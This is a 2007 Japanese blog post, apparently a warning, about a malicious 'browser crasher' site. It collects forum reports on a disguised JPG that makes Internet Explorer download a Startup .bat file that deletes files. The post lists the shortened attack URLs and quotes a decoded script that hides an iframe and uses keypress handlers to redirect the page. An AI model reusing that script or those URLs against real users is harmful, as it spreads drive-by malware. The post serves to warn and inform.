HDDをフォーマットするWebサイト登場。踏んで再起動したら\(^o^)/

2ch各所に転載されています。 >Google検索結果
URLに注意してください。その上、URL短縮版が出回っているので、なにも踏まないほうがいいかもしれません。もし見るのであれば、ソースビューアを利用してどんなものがあるか見てみるとか。gigigiウイルスとかギギギウイルスとか呼ばれているみたいです。
ちなみに、画像のあるサイトは"ずるずるぁぷろだぁ"っていう名前のアップローダーなので、該当ファイルのみが危険です。

HDDをフォーマットするブラクラ まとめwiki
http://www13.atwiki.jp/burakura_hdd/

【ν速+用】 アサヒる
ttp://asahiru.zz.tc/netsuzou
【芸スポ+用】 TDN
ttp://tdn.zz.tc/shabureyo
【ν速用】 りぼっさん
ttp://news2ch.zz.tc/ribossan
【エロ動画用】おなじみyourfilehost
http://yourfilehost.zz.tc/(ここに文字列がある。)
#これらは、http://zz.tc/を使って短縮されたものです。

知識はない (´・ω・) カワイソス 山田ヲチスレ 422
http://tmp7.2ch.net/test/read.cgi/download/1198988000/
132 :[名無し]さん(bin+cue).rar:2007/12/30(日) 21:04:24 id:ZdkjaBJz0
//www.gigigi.net/up/img/1230.jpg 相当やばいサイト発見(´・ω・) ス 画像を表示後にアラートでエラー警告を表示して 25回目のアラートでC以降のHDDのフォーマットや システム関係などのファイル消去?が実行されるbatファイルをスタートアップにダウソさせようとする(´・ω・) ス その後アラートで再起動催促、アラートを閉じ続けるとアミララ関係の有害ページへ行く(´・ω・) ス
148 :[名無し]さん(bin+cue).rar:2007/12/30(日) 21:19:20 ID:3TDvvQLp0
間違えた(´・ω・) ス ウィンドウズなんちゃらとかいう詐欺っぽいののエラーだった(´・ω・) ス ttp://sakuratan.ddo.jp/uploader/source/date64868.png
156 :[名無し]さん(bin+cue).rar:2007/12/30(日) 21:26:46 ID:3TDvvQLp0
ttp://sakuratan.ddo.jp/uploader/source/date64869.png グロ注意(´・ω・) ス 肝心なところは見えないようにはしてる(´・ω・) ス
157 :[名無し]さん(bin+cue).rar:2007/12/30(日) 21:28:30 id:ZdkjaBJz0
>>132 ダウソされたbatは ClamWin で Trojan.Bat.DeltreeY-2 をして反応(´・ω・) ス
165 :[名無し]さん(bin+cue).rar:2007/12/30(日) 21:34:20 ID:3TDvvQLp0
WinUpd91.txt .bat とか、古い手使ってきま(´・ω・) ス
175 :[名無し]さん(bin+cue).rar:2007/12/30(日) 21:50:27 id:ZdkjaBJz0
ダウソさせられそうになるbatファイルを VPCのXPでスタートアップにセットして数回再起動したら、起動はした(´・ω・) ス 全てのプログラムがスタートアップ以外全て消された(´・ω・) ス デスクトップのアイコンもショートカットやフォルダ系統は全て消えた(´・ω・) ス システム系統もプロセスとして使用しているもの以外は消されている感じ(´・ω・) ス スタートアップにダウソしてしまい、そのまま再起動した場合は 終了(´・ω・) ス・・・
ブラクラ】HDDをフォーマットするWebサイト登場【ウイルス】
http://namidame.2ch.net/test/read.cgi/news/1199017292/
187 : fushianasan(アラバマ州):2007/12/30(日) 21:44:24.76 id:eJTC472j0
詳しく調べてみると、 ・25回くらいのホップアップの末に落とされるものはbat形式のものが落とされる ・その後も3回くらいホップアップが出てきて、PCの再起動を要求するものが出てくる ・ここでキャンセルを押すと、次にはワンクリサイトのトップ風のページへ飛ばされる  (女の子が寝そべってその上に再生ボタンが出ている) ・そこをクリックするとグロ画像が表示され、小さな画像がブラウザ上を走り回る ・この段階で、miximixiを中傷する内容のメールが送られようとする ・その後、またいくつかのbatファイルを落とさせようとする ・さらにその後、どこかのサイトから大量のDL要求が出てくる  この中にトロイがいくつか含まれているようです
勇気が無くて見れない画像解説スレin半角Part534
http://sakura01.bbspink.com/test/read.cgi/ascii/1198102303/
706 名前:/名無しさん[1-30].jpg :2007/12/28(金) 18:21:21 ID:q+GUpYTl0 (PC)
>>701 >>703に追記 「致命的なエラー」はのメッセージは偽装で、下のほうに「Enterキーを押し続けると回復します」と書いてあるが、 押し続けると、「WinUpd58_txt _bat.txt」というファイルを勝手に保存、 ダウンロードさせられることになるので注意。 (実際には保存ダイアログが表示されているのだが、Enterを押し続けることにより、そのまま保存ボタンを押すことになり、 一瞬のことで気づきにくい) その後もなにやらメッセージが表示されますが、それ自体もJavaScriptによる偽装メッセージなので注意してください。 なお、テキストファイルの中身自体は特に有害情報は含まれてませんでしたが、健全なページではないことは確かですので 絶対に(特にJavaScriptがOnの状態では)開かないように。

jpgファイルがそれです。拡張子はjpgですけど、IEがhtmlとして処理してしまうってことから起こるみたいです。
調査結果が本当なのかは確認とれませんけども、そのほとんどは本当に発生するみたいなので、注意してください。でないと、(ry
#mixi以外にもホワイトハウスやFBIにも接続しようとしているらしい。


IEで見に行くと、やられちゃう。↓こういう風に。
f:id:amatanoyo:20071230223830j:image

1・1230.jpgへの転送リンクなどをクリック
2・外人のエロ画像が表示される
3・それをクリックすると動画サイトのプレーヤ*1が表示される
4・Playボタンを押すといきなり悲鳴が聞こえ
  窓増殖スタート

見に行って再起動すると障害が発生する可能性があるので、見ても大丈夫だったよ!と安心しないように。
スタートアップとして保存されるbatファイルを削除すれば、問題は発生しないとのこと。
2ch専用ブラウザは内臓ビューワで見てもdecode errorで問題なし*2。エンジンの違うFirefoxGecko)やOpera*3でも、おそらく問題はない。
以下は複合化したもの(h抜き)。snipr.comをNGにすれば、なんとかなるのかなぁ。

ブラクラ】HDDをフォーマットするWebサイト登場【ウイルス】 2
http://namidame.2ch.net/test/read.cgi/news/1199021898/
173 名前: 土木施工”管理”技師(岡山県):2007/12/30(日) 22:48:30.86 id:V0HdQ+320 (PC)
複合化したらこんなの出てきたが <div id="iframeWrapper"> <iframe id="wtIfm" name="wtIfm" src="ttp://snipr.com/wt_iframesrc01" style="border: 0px none ; visibility: hidden; width: 1px; height: 1px;" frameborder="0"></iframe></div> <script type="text/javascript"> window.defaultStatus=' '; var kFnc=function(e){ try{ document.getElementById('lnk').focus(); window.status=' ';return true; location.replace('ttp://snipr.com/wt_link01'); }catch(e){} }; document.onkeypress=kFnc; document.onkeydown=kFnc; document.onkeyup=kFnc; </script><noembed><!-- :) --> </noembed></body></html>

*1:ouTubeのようなプレイヤー

*2:画像描画エンジンがhtmlとして読むはずがないから

*3:Operaは報告があった